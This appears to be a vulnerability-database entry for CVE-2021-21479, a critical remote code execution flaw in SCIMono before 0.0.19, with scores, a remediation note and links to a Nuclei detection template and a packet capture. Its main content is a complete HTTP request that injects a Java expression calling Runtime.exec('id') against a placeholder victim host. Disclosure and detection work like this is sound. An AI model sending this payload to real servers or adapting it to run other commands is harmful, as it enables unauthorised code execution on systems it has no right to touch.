| Title | SCIMono <0.0.19 - Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.85973 |
| CVE ID | CVE-2021-21479 |
| CWE ID | CWE-74 |
| Tags | cve cve2021 scimono rce sap vkev vuln |
SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and execute java expressions and compromise the availability and integrity of the system.
GET /Schemas/$%7B%27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance%28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21479.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21479.pcap
N/AN/A